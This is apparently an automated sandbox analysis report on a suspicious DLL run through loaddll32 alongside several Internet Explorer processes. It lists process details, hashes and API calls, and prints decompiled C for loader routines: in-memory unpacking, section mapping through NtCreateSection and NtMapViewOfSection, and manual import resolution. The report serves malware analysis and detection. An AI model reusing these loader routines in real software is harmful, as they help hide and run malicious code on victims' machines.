Imagebase:	0x7ff745960000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 6188 Parent PID: 5592

General

Start time:	15:36:16
Start date:	09/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5592 CREDAT:17410 /prefetch:2
Imagebase:	0xb00000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 2016 Parent PID: 800

General

Start time:	15:36:27
Start date:	09/07/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff745960000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 6324 Parent PID: 2016

General

Start time:	15:36:28
Start date:	09/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2016 CREDAT:17410 /prefetch:2
Imagebase:	0xb00000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 4624 Parent PID: 800

General

Start time:	15:36:39
Start date:	09/07/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff745960000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 5604 Parent PID: 4624

General

Start time:	15:36:40
Start date:	09/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4624 CREDAT:17410 /prefetch:2
Imagebase:	0xb00000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 5432 Parent PID: 800

General

Start time:	15:36:55
Start date:	09/07/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff745960000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 5060 Parent PID: 5432

General

Start time:	15:36:55
Start date:	09/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5432 CREDAT:17410 /prefetch:2
Imagebase:	0x7ff757be0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 6856 Parent PID: 5840 loaddll32.exeCOMMON

Executed Functions

Function 6D4CD186, Relevance: 66.4, APIs: 44, Instructions: 432COMMON

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 6D4CD1BD
___getlocaleinfo.LIBCMT ref: 6D4CD1D2
___getlocaleinfo.LIBCMT ref: 6D4CD1E7
___getlocaleinfo.LIBCMT ref: 6D4CD1FC
___getlocaleinfo.LIBCMT ref: 6D4CD214
___getlocaleinfo.LIBCMT ref: 6D4CD229
___getlocaleinfo.LIBCMT ref: 6D4CD23B
___getlocaleinfo.LIBCMT ref: 6D4CD250
___getlocaleinfo.LIBCMT ref: 6D4CD268
___getlocaleinfo.LIBCMT ref: 6D4CD27D

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: eabbdf657e399f07c2ee4d9dc041221e202d76291481bf30a1e5e3ccc471cc6b
Instruction ID: 2b1096a87456dd073651cafdceda1f07ea9afaf81217693566c9d72af01a31e2
Opcode Fuzzy Hash: eabbdf657e399f07c2ee4d9dc041221e202d76291481bf30a1e5e3ccc471cc6b
Instruction Fuzzy Hash: D0E1C2B390020DBEEF51CAE1CD44EFFB7BDEB05748F05092AB655E2050EA75AE059B60

Uniqueness

Uniqueness Score: -1.00%

Function 6D4F434D, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00000984,00003000,00000040,00000984,6D4F3DA0), ref: 6D4F440A
VirtualAlloc.KERNEL32(00000000,000000A9,00003000,00000040,6D4F3DFF), ref: 6D4F4441
VirtualAlloc.KERNEL32(00000000,00014055,00003000,00000040), ref: 6D4F44A1
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D4F44D7
VirtualProtect.KERNEL32(6D490000,00000000,00000004,6D4F432C), ref: 6D4F45DC
VirtualProtect.KERNEL32(6D490000,00001000,00000004,6D4F432C), ref: 6D4F4603
VirtualProtect.KERNEL32(00000000,?,00000002,6D4F432C), ref: 6D4F46D0
VirtualProtect.KERNEL32(00000000,?,00000002,6D4F432C,?), ref: 6D4F4726
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D4F4742

Memory Dump Source

Source File: 00000000.00000002.1018544264.000000006D4F3000.00000040.00020000.sdmp, Offset: 6D4F3000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: a6d96d1dbdd5adef407acf436f0e5e0eb20350914394ba89f38f1094e73ed8d8
Instruction ID: b4b72ca6b667a579d1c139849d039c5bd8e7ed5f6eddbe50bd4dabe076bffb2d
Opcode Fuzzy Hash: a6d96d1dbdd5adef407acf436f0e5e0eb20350914394ba89f38f1094e73ed8d8
Instruction Fuzzy Hash: B0D16DF65006029FDB01DF54C9A0FB177A5FF8A350B1941B8EE0D9F66AD770A801CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 6D491ADA, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6D491ADA(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L6D492130();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x6d494144;
				_push(_t15 + 0x6d49505e);
				_push(_t15 + 0x6d495054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L6D49212A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x6d494148, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x6d491ada
0x6d491ae3
0x6d491ae7
0x6d491aed
0x6d491af2
0x6d491af7
0x6d491afa
0x6d491afd
0x6d491b02
0x6d491b03
0x6d491b06
0x6d491b11
0x6d491b18
0x6d491b1c
0x6d491b1e
0x6d491b1f
0x6d491b22
0x6d491b27
0x6d491b31
0x6d491b33
0x6d491b33
0x6d491b47
0x6d491b4d
0x6d491b51
0x6d491ba1
0x6d491b53
0x6d491b5c
0x6d491b72
0x6d491b7a
0x6d491b8c
0x6d491b90
0x00000000
0x00000000
0x6d491b7c
0x6d491b7f
0x6d491b84
0x6d491b86
0x6d491b86
0x6d491b67
0x6d491b69
0x6d491b92
0x6d491b93
0x6d491b93
0x6d491b5c
0x6d491ba9

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000002,?,?,?,?,?,?,?,?,?,6D491ECE,0000000A,?,?), ref: 6D491AE7
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 6D491AFD
_snwprintf.NTDLL ref: 6D491B22
CreateFileMappingW.KERNELBASE(000000FF,6D494148,00000004,00000000,?,?), ref: 6D491B47
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D491ECE,0000000A,?), ref: 6D491B5E
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 6D491B72
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D491ECE,0000000A,?), ref: 6D491B8A
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6D491ECE,0000000A), ref: 6D491B93
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D491ECE,0000000A,?), ref: 6D491B9B

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 36896260e24ec599ad5d5526e6360bcf24a9da540c8a5eb6434b8f3c293f34ad
Instruction ID: e16024659abedacb821cef90cc55031ea7317a8446a7d2656c7b4c83d1d8d7fd
Opcode Fuzzy Hash: 36896260e24ec599ad5d5526e6360bcf24a9da540c8a5eb6434b8f3c293f34ad
Instruction Fuzzy Hash: C32177B6900109BFDB11AFA6CC89FAE7BBDEB55354F218025F619DF140E7309D468B60

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BD1F0, Relevance: 9.5, APIs: 6, Instructions: 492COMMON

Download Yara Rule

APIs

std::locale::locale.LIBCPMTD ref: 6D4BD22B

Part of subcall function 6D4BE190: std::locale::_Init.LIBCPMT ref: 6D4BE197
Part of subcall function 6D4BE190: std::locale::facet::_Incref.LIBCPMTD ref: 6D4BE1A8

_setlocale.LIBCMT ref: 6D4BD251
SetConsoleOutputCP.KERNELBASE(000004E3), ref: 6D4BD272
GetTempPathA.KERNEL32(00000550,6D4F37E0), ref: 6D4BD2AF
SetConsoleCP.KERNELBASE(00000000), ref: 6D4BD30C
GetWindowsDirectoryA.KERNEL32(6D588C60,00000550), ref: 6D4BD3EC

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: Console$DirectoryIncrefInitOutputPathTempWindows_setlocalestd::locale::_std::locale::facet::_std::locale::locale
String ID:
API String ID: 3520124897-0
Opcode ID: 6254ab8442194a6766a88c77f8783075b4e78f50c50e97d4fe3bf0d9bb8e7ffc
Instruction ID: 13fddc38b8f72416005c40f1abf2afe2d1113206211cdad54e9d7211fe7c4f61
Opcode Fuzzy Hash: 6254ab8442194a6766a88c77f8783075b4e78f50c50e97d4fe3bf0d9bb8e7ffc
Instruction Fuzzy Hash: B1320472A01189CFCF28DFA8E5C0BADBBB1FB99304F148169D605E7264DB30AD55CB64

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BA260, Relevance: 7.4, APIs: 1, Strings: 2, Instructions: 2181COMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000550,?,6D4F2008,6D4F200C,00000054,00000000,6D4F2008,6D4F200C,00000054,00000000,6D4F2008,6D4F200C,00000022,00000000,6D4F2008,6D4F200C), ref: 6D4BBB39

Strings

ASwG, xrefs: 6D4BA29B, 6D4BA2A2, 6D4BA373, 6D4BA484, 6D4BA48A, 6D4BA579, 6D4BA585, 6D4BA591, 6D4BA597, 6D4BA5E1, 6D4BA5E8, 6D4BA5ED, 6D4BA5F3, 6D4BA717, 6D4BA72B, 6D4BA732, 6D4BA73B, 6D4BA75F, 6D4BA765, 6D4BA78F, 6D4BA79B, 6D4BA7A7, 6D4BA85E, 6D4BA889, 6D4BA96C, 6D4BA972, 6D4BA9C9, 6D4BA9CF, 6D4BAB12, 6D4BAB1E, 6D4BAE43, 6D4BAE4F, 6D4BAF43, 6D4BAF4F, 6D4BAFE1, 6D4BB009, 6D4BB011, 6D4BB05C, 6D4BB064, 6D4BB077, 6D4BB0DA, 6D4BB0E6, 6D4BB0F2, 6D4BB0F8, 6D4BB144, 6D4BB150, 6D4BB1AD, 6D4BB1B5, 6D4BB21E, 6D4BB22A, 6D4BB24A, 6D4BB256, 6D4BB25C, 6D4BB290, 6D4BB295, 6D4BB341, 6D4BB34C, 6D4BB390, 6D4BB463, 6D4BB4DE, 6D4BB4EA, 6D4BB50A, 6D4BB516, 6D4BB51C, 6D4BB59E, 6D4BB5A6, 6D4BB5E6, 6D4BB5EC, 6D4BB65B, 6D4BB66B, 6D4BB69F, 6D4BB6AB, 6D4BB6B7, 6D4BB73A, 6D4BB76D, 6D4BB79B, 6D4BB809, 6D4BB816, 6D4BB894, 6D4BB899, 6D4BB90A, 6D4BB925, 6D4BB93A, 6D4BB967, 6D4BB973, 6D4BB97F, 6D4BB9FF, 6D4BBA0A, 6D4BBA32, 6D4BBA3D, 6D4BBA48, 6D4BBA7D, 6D4BBB3F, 6D4BBB4A, 6D4BBB85, 6D4BBB8D, 6D4BBBA0, 6D4BBBDA, 6D4BBBE6, 6D4BBC03, 6D4BBC46, 6D4BBC71, 6D4BBCB0, 6D4BBCB8, 6D4BBD0F, 6D4BBD1B, 6D4BBD47, 6D4BBD94, 6D4BBDC1, 6D4BBDCD, 6D4BBDD9, 6D4BBE2D, 6D4BBE53, 6D4BBE9D, 6D4BBEA9, 6D4BBEB5, 6D4BBEF1, 6D4BBF1B, 6D4BBF57, 6D4BBF7C, 6D4BBFC3, 6D4BBFE0, 6D4BC07B, 6D4BC085, 6D4BC0C8, 6D4BC2AD, 6D4BC2C1, 6D4BC2C8, 6D4BC2D3, 6D4BC323, 6D4BC32E, 6D4BC356, 6D4BC361, 6D4BC36C, 6D4BC3BB, 6D4BC3C4, 6D4BC40A, 6D4BC47C, 6D4BC505, 6D4BC511, 6D4BC517, 6D4BC529, 6D4BC542, 6D4BC549, 6D4BC57A, 6D4BC5C9, 6D4BC617, 6D4BC630, 6D4BC636, 6D4BC699
^, xrefs: 6D4BBA5F

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: PathTemp
String ID: ASwG$^
API String ID: 2920410445-1341505455
Opcode ID: f99141c020f2a81523f3fb699968df80a73185eb716b11e1a1673298e640b139
Instruction ID: 1de2a17ca266ebe3b1e92895a5211950d68b4d1b08fd4f75414e369500f35252
Opcode Fuzzy Hash: f99141c020f2a81523f3fb699968df80a73185eb716b11e1a1673298e640b139
Instruction Fuzzy Hash: 49230672A01190CFDB28EF28E5D0B657BB2EBCA308B058169D649D7264DF34EC65DF60

Uniqueness

Uniqueness Score: -1.00%

Function 6D491996, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6D491996(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E6D491A44(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x6d49199f
0x6d4919a6
0x6d4919a7
0x6d4919a8
0x6d4919a9
0x6d4919aa
0x6d4919bb
0x6d4919bf
0x6d4919d3
0x6d4919d6
0x6d4919d9
0x6d4919e0
0x6d4919e3
0x6d4919ea
0x6d4919ed
0x6d4919f0
0x6d4919f3
0x6d4919f8
0x6d491a33
0x6d4919fa
0x6d4919fd
0x6d491a03
0x6d491a08
0x6d491a0c
0x6d491a2a
0x6d491a0e
0x6d491a15
0x6d491a23
0x6d491a23
0x6d491a0c
0x6d491a3b

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,73B74EE0,00000000,00000000,?), ref: 6D4919F3

Part of subcall function 6D491A44: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,6D491A08,00000002,00000000,?,?,00000000,?,?,6D491A08,00000002), ref: 6D491A71

memset.NTDLL ref: 6D491A15

Strings

@, xrefs: 6D4919E3

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: 3e47c97fc558f31320fa5412d1ad32580be8ebc7870d0b2d38d2d2664d752884
Instruction ID: 48eb9cf97359d49683c19e35727b53275d32dc175fb45af0734b307b5a1b69c3
Opcode Fuzzy Hash: 3e47c97fc558f31320fa5412d1ad32580be8ebc7870d0b2d38d2d2664d752884
Instruction Fuzzy Hash: 2021EAB6D00209AFDB11DFA9C8849DEFBB9FF48354F108469E615F7210D731AE458BA4

Uniqueness

Uniqueness Score: -1.00%

Function 6D491BAC, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D491BAC(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x6d494140;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x6d491bac
0x6d491bb5
0x6d491bba
0x6d491bc0
0x6d491bc9
0x6d491bcf
0x6d491bd1
0x6d491bd4
0x6d491bd9
0x6d491be0
0x6d491be0
0x6d491be4
0x6d491bea
0x6d491bef
0x00000000
0x00000000
0x6d491bf5
0x6d491bff
0x6d491c01
0x6d491c04
0x6d491c07
0x6d491c0b
0x6d491c13
0x6d491c15
0x6d491c18
0x6d491c80
0x6d491c80
0x6d491c84
0x00000000
0x00000000
0x6d491c1d
0x6d491c23
0x6d491c25
0x6d491c38
0x6d491c3b
0x6d491c3b
0x6d491c3b
0x6d491c3f
0x6d491c27
0x6d491c27
0x6d491c2f
0x6d491c31
0x00000000
0x00000000
0x00000000
0x00000000
0x6d491c31
0x6d491c1f
0x6d491c1f
0x6d491c33
0x6d491c33
0x6d491c33
0x6d491c42
0x6d491c45
0x6d491c47
0x6d491c4e
0x6d491c49
0x6d491c49
0x6d491c49
0x6d491c56
0x6d491c5c
0x6d491c5e
0x6d491c8e
0x6d491c60
0x6d491c60
0x6d491c63
0x6d491c65
0x6d491c6d
0x6d491c6d
0x6d491c72
0x6d491c74
0x6d491c7b
0x6d491c7d
0x6d491c7d
0x6d491c7d
0x00000000
0x6d491c7d
0x00000000
0x6d491c5e
0x6d491c0d
0x6d491c0d
0x6d491c11
0x00000000
0x00000000
0x6d491c11
0x6d491c91
0x6d491c91
0x6d491c98
0x6d491c9d
0x00000000
0x00000000
0x6d491ca3
0x6d491cae
0x00000000
0x6d491cae
0x6d491ca5
0x6d491ca5
0x6d491cab
0x00000000
0x6d491cab
0x6d491bd9
0x6d491caf
0x6d491cb4

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 6D491BE4
GetProcAddress.KERNEL32(?,00000000), ref: 6D491C56

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: b5bbb29e4c1546246ed087f0be63c760289cfd0a9db4624a15088a4632c967b6
Instruction ID: b774b3b51314d981850329613dcf06b80345cc7afc412cdee3106aab0627233c
Opcode Fuzzy Hash: b5bbb29e4c1546246ed087f0be63c760289cfd0a9db4624a15088a4632c967b6
Instruction Fuzzy Hash: 4D310471A0420A9FEB15CF5AC884EAEBBF9BF15354B20406AD855EB340E770DE42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6D491A44, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6D491A44(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x6d491a56
0x6d491a5c
0x6d491a6a
0x6d491a71
0x6d491a76
0x6d491a7c
0x00000000
0x6d491a7d
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,6D491A08,00000002,00000000,?,?,00000000,?,?,6D491A08,00000002), ref: 6D491A71

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: a59a7a39d436543711482a2dac85f06b0bfa98532b5a900193faee5c1c71af36
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 94F037B590020CFFEB119FA5CC85C9FBBFDEB44394B104979F152E5090D6309E088B60

Uniqueness

Uniqueness Score: -1.00%

Function 6D491456, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6D491456(char _a4) {
				long _v8;
				struct _SYSTEMTIME _v24;
				char _v48;
				void* __edi;
				long _t20;
				int _t22;
				long _t25;
				long _t26;
				long _t30;
				void* _t36;
				intOrPtr _t38;
				intOrPtr _t43;
				signed int _t44;
				void* _t48;
				signed int _t51;
				void* _t54;
				intOrPtr* _t55;

				_t20 = E6D491F0E();
				_v8 = _t20;
				if(_t20 != 0) {
					return _t20;
				}
				do {
					GetSystemTime( &_v24);
					_t22 = SwitchToThread();
					asm("cdq");
					_t44 = 9;
					_t51 = _t22 + (_v24.wMilliseconds & 0x0000ffff) % _t44;
					_t25 = E6D491717(0, _t51); // executed
					_v8 = _t25;
					Sleep(_t51 << 5); // executed
					_t26 = _v8;
				} while (_t26 == 0xc);
				if(_t26 != 0) {
					L18:
					return _t26;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t54 = E6D49155C(E6D491E55,  &_v48);
					if(_t54 == 0) {
						_v8 = GetLastError();
					} else {
						_t30 = WaitForSingleObject(_t54, 0xffffffff);
						_v8 = _t30;
						if(_t30 == 0) {
							GetExitCodeThread(_t54,  &_v8);
						}
						CloseHandle(_t54);
					}
					_t26 = _v8;
					if(_t26 == 0xffffffff) {
						_t26 = GetLastError();
					}
					goto L18;
				}
				if(E6D491F87(_t44,  &_a4) != 0) {
					 *0x6d494138 = 0;
					goto L11;
				}
				_t43 = _a4;
				_t55 = __imp__GetLongPathNameW;
				_t36 =  *_t55(_t43, 0, 0); // executed
				_t48 = _t36;
				if(_t48 == 0) {
					L9:
					 *0x6d494138 = _t43;
					goto L11;
				}
				_t14 = _t48 + 2; // 0x2
				_t38 = E6D492009(_t48 + _t14);
				 *0x6d494138 = _t38;
				if(_t38 == 0) {
					goto L9;
				}
				 *_t55(_t43, _t38, _t48); // executed
				E6D49201E(_t43);
				goto L11;
			}

0x6d49145d
0x6d491464
0x6d491469
0x6d491559
0x6d491559
0x6d491470
0x6d491474
